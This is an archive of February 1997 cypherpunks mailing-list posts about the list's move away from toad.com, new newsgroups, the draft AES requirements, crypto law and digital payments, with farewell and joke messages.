Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Fri, 14 Feb 1997 12:29:41 -0800
Dave> Sender: owner-cypherpunks@toad.com
Dave> Precedence: bulk
Dave> 
Dave> Ok. I'll "put up". 
Dave> 
Dave> If the cypherpunks will have me, -I'll- run the cypherpunks
Dave> list. Those that know me know that I will *not* censor, moderate, or
Dave> otherwise alter the content (other than the stuff majordomo does with
Dave> "resend") of any messages to the list.

and then wrote:

Dave> To: freedom-knights@jetcafe.org
Dave> Cc: dthorn@gte.net (Dale Thorn), ichudov@algebra.com, cypherpunks@toad.com
Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Sun, 16 Feb 1997 13:13:40 -0800
Dave> 
Dave> Kent Crispin writes:
Dave> > Dave is offering a single mailing list, which, while I am sure Dave is
Dave> > a great person, still represents a single point of control and a
Dave> > single point of failure.  A distributed mailing list has a potential
Dave> > for being much more robust, and for supporting a wide range of
Dave> > viewpoints.  
Dave> 
Dave> I can also offer my participation in the distributed mailing list, if
Dave> that is what it takes to get cypherpunks free of control interests again.

I am not sure if it already exists...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 19 Feb 1997 08:37:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191630.IAA13988@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 9:02 AM -0500 2/19/97, Mullen, Patrick wrote:
>I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
>remember the names of the subgroups (which weren't added), and I
>deleted the mailings which listed them.  
>
>If I remember correctly, they were along the lines of
>
>alt.cypherpunks.technical
>alt.cypherpunks.social
>alt.cypherpunks.announce
>alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Patrick reminds us of why a simple name like "alt.cypherpunks" is
preferable to an extensive hierarchy: "I can't remember the names of the
subgroups."

It was a mistake, I believe, to create the various subgroups, and I hope
they fail to propagate.

I'd rather use more capable newsreading tools to scan _one_ group and
follow interesting threads in it than try to remember what got posted
where. And I especially don't want to see the predictable carping about how
some topic "belongs" in one of the other groups!

And many will simply cross-post their stuff to more than one of the groups,
trying to guess which are most relevant, which are being read by enough
people, etc.

Even at a hundred messages a day, a single group is easily managed. And
having four of them will not cut the traffic in the main group
significantly.

--Tim May, who plans to only post to the main group.

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 06:03:51 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970219140250Z-7332@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
remember the names of the subgroups (which weren't added), and I
deleted the mailings which listed them.  

If I remember correctly, they were along the lines of

alt.cypherpunks.technical
alt.cypherpunks.social
alt.cypherpunks.announce
alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Did I miss any?  Name-mangle?

I also have listed the following alternate list hosts

cypherpunks@algebra.com
cypherpunks@cyberpass.net
cypherpunks@ssz.com

If anyone has a more complete list of hosts, I'd be happy
for additions to the list.

Thanks!



~ Patrick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Wed, 19 Feb 1997 09:18:32 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: news article:fake email on Capitol Hill (fwd)
Message-ID: <Pine.3.89.9702190955.A25135-0100000@netcom>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 19 Feb 1997 06:36:28 -0600
From: Gekko <gekko@midusa.net>
To: dc-stuff@dis.org
Subject: news article:fake email on Capitol Hill

Spoofing Congress

  Fake e-mail floods Capitol Hill

  NO, THESE weren't lobbyists pummeling members
  of Congress with propaganda, but apparently
  pranksters under the guise of legitimate Net users. In
  recent weeks, they have flooded lawmakers with
  hundreds of e-mail threats to delete all files in the
  Capitol Hill computer system. One of the identities
  used was that of Mercury News Computing Editor
  Dan Gillmor in the ruse that included 200 messages to Sen. Barbara
  Boxer, D-Calif. The FBI is looking into the incidents of "spoofing,"
  but apparently no damage has yet been found.

                   Story by Rory J. O'Connor
            of the Mercury News Washington Bureau





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 19 Feb 1997 06:56:46 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Why Digital Video Disks are late to market
In-Reply-To: <v02140b02af30656eb77f@[10.0.2.15]>
Message-ID: <0n2lDx200YUf047JA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

azur@netcom.com (Steve Schear) writes:
> Has anyone seen discussions on how these protection mechanisms can be
> circumvented?

Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
cripple any copies it makes. Of course, it's all software, so if some
EVIL person were to write a driver that did not honor the "don't copy
me" header, society would just come crashing down around us.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwsT98kz/YzIV3P5AQFzRgMA1FLUxHHCv509ucqHbysLFQZCGplZbfXj
Z3J9FAicOwmMp/6G1kCATc7193ZxbgpHfhNQ7Z+SIEPaxusL5MjkrWuCvoB9Kh4s
JTyspKmgBVJ+/RnIro+QeRHqFH8atowh
=7SI9
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Wed, 19 Feb 1997 07:15:00 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Belated thank you's
Message-ID: <9701198563.AA856376072@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



It seems somewhat trite to say thank you for the service John provided now that
it is going away, when while it was here it was taken for granted. Still, I will
say thank you. Perhaps in this respect it is like good health, which while it is
ours is not given much though, but once lost, becomes the whole of our thoughts.


The loss of John's involvement is a real loss. At the same time, I would like to
think that virtual communities such as this one are robust enough to survive the
type of strife that we have undergone. People being what they are, the list
would have had a hard time staying static without some strong guiding focus.
Given the anarchic leanings of many people on this list, John's actions have
done much to test the practicality of the principles that have been spoken about
here. They may also show how much work it is to follow these same principles.

Still, I wonder how John will feel about the cypherpunks list as it moves beyond
him. Will it grow and become widespread? Or, will it slowly die from lack of
interest or time? I think he might not like either answer.

A la prochain fois,
James

The advancement and perfection of mathematics are intimately connected with the
prosperity of the State. - Napoleon I





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 07:48:10 -0800 (PST)
To: "'Cypherpunks'" <cryptography@c2.net>
Subject: FW: Rules for The Great DES Replacement Contest
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970219154727Z-8296@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


>---------- Forwarded message ----------
>Date: Wed, 19 Feb 1997 09:24:38 -0500 (EST)
>From: Christof Paar <christof@ece.WPI.EDU>
>To: christof@ece.WPI.EDU
>Subject: (fwd) Rules for The Great DES Replacement Contest
>Newsgroups: sci.crypt
>
>
>Rules for The Great DES Replacement Contest
>
>On 1997 Jan 02, the National Institute of Standards and Technology
>of The Department of Commerce announced the start of a process to
>approve an "Advanced Encryption Standard."  (See the Federal
>Register Vol. 62, No. 1, pp. 93-94; for example, by going to
>
>    http://www.lib.auburn.edu/gpo/index.html
>
>and searching the Federal Register for "Advanced Encryption
>Standard.")
>
>
>The first part of the process seems to be requesting comments
>on the cipher requirements and submission guidelines as follows:
>
>"Proposed Draft Minimum Acceptability Requirements and Evaluation
>Criteria
>
>    "The draft minimum acceptability requirements and evaluation
>criteria are:
>    A.1  AES shall be publicly defined.
>    A.2  AES shall be a symmetric block cipher.
>    A.3  AES shall be designed so that the key length may be increased
>as needed.
>    A.4  AES shall be implementable in both hardware and software.
>    A.5  AES shall either be (a) freely available or (b) available
>under terms consistent with the American National Standards Institute
>(ANSI) patent policy.
>    A.6  Algorithms which meet the above requirements will be judged
>based on the following factors:
>    (a) Security (i.e., the effort required to cryptanalyze),
>    (b) Computational efficiency,
>    (c) Memory requirements,
>    (d) Hardware and software suitability,
>    (e) Simplicity,
>    (f) Flexibility, and
>    (g) Licensing requirements."
>
>
>"Proposed Draft Submission Requirements"
>
>    "In order to provide for an orderly, fair, and timely evaluation of
>candidate algorithm proposals, submission requirements will specify the
>procedures and supporting documentation necessary to submit a candidate
>algorithm.
>
>    B.1  A complete written specification of the algorithm including
>all necessary mathematical equations, tables, and parameters needed to
>implement the algorithm.
>    B.2  Software implementation and source code, in ANSI C code, which
>will compile on a personal computer. This code will be used to compare
>software performance and memory requirements with respect to other
>algorithms.
>    B.3  Statement of estimated computational efficiency in hardware
>and software.
>    B.4  Encryption example mapping a specified plaintext value into
>ciphertext.
>    B.5  Statement of licensing requirements and patents which may be
>infringed by implementations of this algorithm.
>    B.6  An analysis of the algorithm with respect to known attacks.
>    B.7  Statement of advantages and limitations of the submitted
>algorithm."
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com>
Date: Wed, 19 Feb 1997 02:14:17 -0800 (PST)
To: "'Bill Clinton'" <president@whitehouse.gov>
Subject: RE: We're in Anguilla! Comon down!!!
Message-ID: <c=GB%a=_%p=CTP%l=TRABANT-970219101423Z-5578@trabant.nl.ctp.com>
MIME-Version: 1.0
Content-Type: text/plain


ROFL. Rock on Bill! ;-)

>-----Original Message-----
>From:	Bill Clinton [SMTP:president@whitehouse.gov]
>Sent:	Sunday, February 16, 1997 4:57 PM
>To:	Those cypher-rebels
>Subject:	We're in Anguilla! Comon down!!!
>
>My fellow cypherpunks,
>
>	I wanted to let you all know, we are having a great time, building
>a router to the 21st Century, down here in sunny Anguilla.   Al and I will
>be wiring Anguilla's great high school for the internet.  Afterwards, we'll
>meet with some longtime supporters of the democratic party for a beer.
>
>	Spaces at the conference are still available, I didn't let those
>folks at American strike, so you have no excuses to be anywhere else next
>week.  
>
>Willy
>Citizen Unit 429-92-9947
> 
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 19 Feb 1997 11:53:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Netcom carriage of alt.cypherpunk newsgroups
Message-ID: <v02140b01af310b5b6beb@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I received the following reply to my inquiry:
---------

Dear Mr. Schear:

Thank you for your request.  The addition of newsgroups is handled by
our System Administrators, and we have forwarded your message over to
their department.  If we are able to add this group it should be
available within two weeks of receipt.  If we are unable to add the
group for any reason we will also inform you of this within two weeks.

If you have any other questions or concerns, please do not hesitate to
contact us again.

- Leigh Ann

---------------------------------------------------------------------
           _     _
          |_|_  |_|   Email Technical Support
         _  |_|_      NETCOM On-Line Communication Services, Inc.
        |_|  _|_|     http://www.netcom.com/bin/webtech
            |_|
                      24-Hour Technical Support:  (408) 881-1810

---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Wed, 19 Feb 1997 03:40:25 -0800 (PST)
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <161EB252495@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain


I have just updated my survey of existing and envisaged cryptography
laws and regulations. 
See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
- New lay-out. Digital signatures replaced to a separate overview.
- New entries on Finland (export), Hong Kong (import, export), New
Zealand (export), Poland (import) 
-Update on Australia (government encryption of classified data), Finland 
(no key-escrow), France (TTP law published), Japan (general position, 
wiretap law), Netherlands (extend decryption command), OECD (Group 
of Expert okays guidelines), Scandinavia (secure email system), 
Switzerland (telecom encryption, export), US (Karn appeal, 
annual figures report)
-Corrections or clarifications on Australia (export, public domain software), 
Belgium (export), Germany (export), US (Bernstein, NRC report)
-URLs changed in France (TTP law), US (Bernstein)

Bert-Jaap




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 19 Feb 1997 10:14:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD on Dirty Money
Message-ID: <1.5.4.32.19970219180809.006f8dd0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Last week's FT-reported OECD money laundering paper,
"FATF-VIII Money Laundering Typologies Exercise
Public Report," 5 February 1997 is at:

   http://jya.com/fatf8.htm  (Text 94K; 4 images 78K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Wed, 19 Feb 1997 13:52:48 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <3.0.32.19970219135359.00b90170@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:53 AM 2/19/97 -0500, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>azur@netcom.com (Steve Schear) writes:
>> Has anyone seen discussions on how these protection mechanisms can be
>> circumvented?
>
>Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
>cripple any copies it makes. Of course, it's all software, so if some
>EVIL person were to write a driver that did not honor the "don't copy
>me" header ...

  i can confirm this.  i recently talked to an employee of a firm [who
i won't name] that was looking for some kind of shrouding scheme to protect
their copy-protection enforcement code, under W95.  [he knows the effort
is ultimately doomed.  he *is* a user of SoftICE, after all... :-) ]

  quotable quotes:

  "we know someone's going to have their scheme cracked.  all we care
   about is that ours isn't the first."

  "i can't tell you the [encryption] algorithm, because that would let
   you break it.  yes, the security is in the algorithm."


  where does hollywood get its crypto?  mattel?


-landon [back to lurk mode...]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas M. McGhan" <tmcghan@mail.bcpl.lib.md.us>
Date: Wed, 19 Feb 1997 11:26:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Belated thank you's
Message-ID: <199702191926.OAA20773@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


in a message apparently-from:  jbugden@smtplink.alis.ca
these words appeared:

>The loss of John's involvement is a real loss.
{snip}

I would expect that "John's involvement" will not be lost just because the
primary mass storage for the data comprising these messages is not on a
disk drive in toad hall.  

>...how John will feel about the cypherpunks list as it moves beyond him.
{snip}

Unless the openness of this list, which was such a cause celebre, is compromised, I do not 
envision any mechanisms being put in place to exclude his contributions, if he 
chooses to make any.

I also expect that the outcome of the in-progress election for ISOC board of 
trustees may have a certain effect on his time-and-energy resource allocation 
algorithm for the next few years.

=======

tmcghan@mail.bcpl.lib.md.us
http://www.gill-simpson.com
voice:       (410) 467-3335
fax:         (410) 235-6961
pagenet:     (410) 716-1342
cellular:    (410) 241-9113
ICBM:        39.395N 76.469W








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 15:51:43 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <v03020943af30f75cb2d7@[139.167.130.247]>
Message-ID: <v0300780caf3130183f0f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:

>We also have to thank Tim May for his um, ideological, presence on this
>list from since before it existed, :-), and, or course, for his current
>"leadership", both moral and political. (Of course, I can say all the next
>few wierd and gushy things about him without fear of refutation on his
>part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who

No, Bob, I actually took you out of my filter file (Eudora's killfile) a
while back.

It is true that I don't like your style, your writing style, that is. Some
say I am overly sensitive to style issues...probably so. I find most modern
cyber-journalism unreadable, with the hipper-than-thou "street cred" lingo
and the obfuscatory purple prose.

I find reading the straight-shooting words of even my ideological opponents
(or opponents in some areas) far easier than reading the neo-journalistic
hype some of my ideological fellow-travellers use.

Nothing personal.

>was our compass. It was Tim who came down from the mountain and stopped us
>from worshiping the fatted calf of censorship, and who is now leading us
>into the promised land of unfettered discourse, both on usenet and on the
>new cypherpunk server network. Since Tim paper-trained most of us here
>(myself included, though some may debate how well he succeeded :-)), that
>is, how to behave on this list, and, most important, how to imagine what a
>world of strong crytography on ubiquitous networks would look like, I now
>find his "leading" us out onto the net, and away from Sinai, most
>symmetrical indeed. :-).

Well, I guess I have to say "Indeed." (Though I don't claim to be leading
anyone, especially not off the list. After several weeks of saying nothing,
I outlined my reasons for disliking the censorship move...reasons that had
also been made by many other folks. Anyway, Adam Back's summary of events
is pretty close to the mark.)

The vision of where the world is headed, noted by Bob, has been clear to
many of us for many years. When I first read about public key systems,
circa 1977, I got an inkling. When I read Chaum's paper on untraceable
digital cash, circa 1986, things got clearer. And when I evaluated the
business plan of Phil Salin for his company, American Information Exchange,
in 1987, everything fell into place. My role with him was to suggest how
cryptographic protocols, including digital cash, would open up information
markets. His company eventually got some funding, but failed. This company
was several years too early, as it presaged many aspects of the Web (and,
not coincidentally, its "sister company" was Xanadu, which even more
clearly presaged the Web--indeed, Ted Nelson was the godfather of the Web.

Anyway, by mid-1988, I wrote and distributed "the Crypto Anarchist
Manifesto," which, to my surprise and satisfaction, basically anticipated
all of the things now being done on Cypherpunks and elsewhere (anonymous
remailers, message pools, steganography, BlackNet types of markets,
ubiquitous crypto, etc.). The missing piece, digital cash, is a hard nut to
crack...sure, it exists (Mark Twain Bank, DigiCash, etc.), but it's hard to
get robust versions deployed and used. (Getting PGP integrated into mailers
is stil bogged down, for reasons I have to believe have to do with
pressures from somewhere, else why would e-mail packages not make PGP
support painless?)

I agree with Bob and others that the Cypherpunks are in no danger of dying
out. Things are just about to get a lot more interesting.

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 12:41:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: "cypherpunks is dead..."
Message-ID: <v03020943af30f75cb2d7@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



"...long live cypherpunks?"

"So long, and thanks for all the fish?"


But, seriously, folks...

Lucky Green echoed many of my own thoughts when he talked about all the
things being on this list has meant to him. Like Lucky, there is a
rediculously huge list of things that this list has taught me over the
almost three (wow..) years or so that I've been here.

Thanks to all of you here, I have had nothing short of a Copernican
transformation in my perception of the universe, and it completely changed
what I wanted to do with the rest of my life. From the very first time I
started reading this list and applying what I learned here to what I
already knew, right then, for the first time in a *very* long time, I knew
*exactly* how some very important pieces of the world actually worked, and
more important, why they were going to change.  I now *know* where the
world is going to go. Maybe not when, of course, but certainly where and
how. :-) (Old stock picker's joke: "I can tell you what. I can tell you
when. I can't tell you both. If I did, I wouldn't tell *you*.")


Anyway, I've learned all these things from many cypherpunks, some still
here, and a lot who've left. I expect that, as we move into the next phase
of this "group", we'll continue to teach ourselves much more about the
world and strong cryptography's effect on it. But, nothing will compare to
the feeling we'll get when we remember the time we've spent here at Toad
Hall. We have John Gilmore to thank for the "lodgings", of course, and,
certainly, for his encouragement and support.  And, obviously, his
tolerance, which finally sagged and broke under the weight of both his
expectations and those of our own.

We also have to thank Tim May for his um, ideological, presence on this
list from since before it existed, :-), and, or course, for his current
"leadership", both moral and political. (Of course, I can say all the next
few wierd and gushy things about him without fear of refutation on his
part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who
was our compass. It was Tim who came down from the mountain and stopped us
from worshiping the fatted calf of censorship, and who is now leading us
into the promised land of unfettered discourse, both on usenet and on the
new cypherpunk server network. Since Tim paper-trained most of us here
(myself included, though some may debate how well he succeeded :-)), that
is, how to behave on this list, and, most important, how to imagine what a
world of strong crytography on ubiquitous networks would look like, I now
find his "leading" us out onto the net, and away from Sinai, most
symmetrical indeed. :-).


And so, in this last 24 hours or so on toad.com, I want to thank *both* Tim
and John. But, also, I personally want to thank the "money-punks". People
like Eric Hughes, and Perry Metzger, and Ian Goldberg, and Hal Finney, and
Lucky Green, and Duncan Frissell, and Black Unicorn, and many, many other
people, who have helped me work through, on this list, or in private
e-mail, or, occasionally, in person, all of the stuff they know, and the
stuff I have figured out myself. All about e$, about digital bearer
certificate markets, about microintermediation. All the things which
completely occupy almost all my waking thoughts these days.


Because of this list's effect on my life, I have been motivated to start
the Digital Commerce Society of Boston, to evangelize financial
cryptography to any audience who would listen to me, to create a web site
dedicated to e$, to create a group of e$ lists with some 300 total
subscribers, to work with Vinnie Moscaritolo to create both the Mac-Crypto
lists and conferences, to work with Vince Cate and Ray Hirschfeld to create
the world's first peer-reviewed conference on financial cryptography, and
with Vince and Ian Goldberg to create the world's first intensive financial
cryptography bootcamp (which is going on as I write this). To create, with
Vinnie, and Rachel Wilmer, and Anthony Templer, and Bob Antia, and Rodney
Thayer, the next generation of the e$ website and mailing lists.

Next week, I go to FC97 in Anguilla because of the things I've learned on
this list. In the middle of March, I go to Cupertino to help Vinnie with
Mac-Crypto 2.0, because of the things I've learned on this list. I've been
invited to speak all over the world (and New Hampshire, too :-)) to talk
about this stuff. I get quoted in the newspapers. I write magazine op-ed
pieces. It has even earned me a buck or two. :-).

In short, I owe everything I do of any consequence these days to my
participation on this list, and, for that, I'm profoundly grateful to all
of you for the privelege of being here: to listen, to learn, and,
occasionally, to pay back all the stuff I've learned with a thing or two
that I've worked out myself.


Like that creosote bush I talked about before, cypherpunks is not going to
die just because the address "cypherpunks@toad.com" ceases to exist. There
are already 3rd-order cypherpunks lists out there. 3rd generation copies of
the same "memetic" material. cypherpunks will *never* die, short of a
cybernetic Chixalub event of some kind, and, frankly, even then. The
internet sees censorship as damage and routes around it.


So. In a very real sense, today on cypherpunks is like any other day in the
life of a creosote bush. It's a big desert, folks. We're the only ones who
know how to live out here. The whole damn desert, as far as the eye can
see, is ours to move into.

All we have to do is keep filling in the empty spots...


Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 15:28:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Trial"
In-Reply-To: <330B4030.36C0@turk.net>
Message-ID: <v03007800af313eb0bd66@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:02 PM +0200 2/19/97, Shark wrote:
>Trial

OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
asking what the hell the vote is all about.

Looks like there won't be a trial and we can move directly to the punishment.


--Klaus! von Future Prime



--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 13:02:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mobil adopts no-physical-connection electronic payment token
Message-ID: <v03020945af3116fe2179@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 19 Feb 1997 12:01:14 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Mobil adopts no-physical-connection electronic payment token
X-orig-from: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 19 Feb 1997 09:02:14 -0500
 From: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
 To: dcsb@ai.mit.edu
 Subject: Mobil adopts no-physical-connection electronic payment token
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>



 FYI, from today's WSJ:

  ------------------------------ snip! ------------------------------

     Mobil Aims to Turn Gas Pumps
     Into Automatic-Payment Sites

     By PETER FRITSCH
     Staff Reporter of THE WALL STREET JOURNAL

     Mobil Corp. hopes to make life in the fast lane a little bit faster.

     The oil company will introduce Wednesday a miniature
     electronic-payment device that busy motorists can simply wave at
     a gasoline pump to fill 'er up.

     The tiny electronic tag -- called a Speedpass -- clips onto a
     driver's key ring. Mobil is betting the technology will catch on with
     drivers tired of fumbling for cash or waiting for a pump to authorize a
     credit-card purchase.

     Whether drivers are in such a hurry that they will be interested is
     an open question. "My key chain already looks like a janitor's,"
     says Carol Coale, a Houston securities analyst.

     Mobil, which tested the Speedpass over the past six months with
     10,000 consumers in St. Louis, says the added convenience can
     save the motorist valuable time.

     Mobil's technology, developed in partnership with Texas
     Instruments Inc. and Dresser Industries Inc., is similar to that used
     by drivers at bridge and highway toll booths. Once a driver waves
     the tag at the pump, the pump instantly contacts Mobil's credit
     department and charges a credit card preselected by the customer.

     The marketing effort challenges the conventional wisdom of
     gasoline retailing. Most drivers say location is more important
     when the gasoline gauge reads "empty" than brand name or price.
     Mobil's thinking is that the gee-whiz factor of owning the
     Speedpass, combined with the convenience, will persuade people to
     go an extra mile to buy from one of Mobil's 7,700 branded stations.

     Speedpass is also an attempt to help Mobil build on its position as
     the nation's top gasoline seller. With a 9.9% share of the market,
     Mobil in 1995 overtook Shell Oil Co. as the leading gasoline seller,
     as measured in gallons sold. (Figures for 1996 aren't available.)

     Mobil, which was among the first oil companies to use
     pay-at-the-pump technology, will introduce Speedpass in key
     markets by May 1.

  ------------------------------ snip! ------------------------------

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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 In the body of the message, write:  unsubscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 13:03:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <v03020922af3099283a67@[139.167.130.247]>
Message-ID: <v03020949af311982b8c8@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:29 pm -0500 on 2/19/97, Attila T. Hun wrote:


>     Come on, Bob.  Quit rubbing it in about that clear blue water, the
>     tropical temperatures and high horsepower speakers.

Moi?

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 19 Feb 1997 10:34:06 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <v03020922af3099283a67@[139.167.130.247]>
Message-ID: <199702191834.LAA09190@infowest.com>
MIME-Version: 1.0
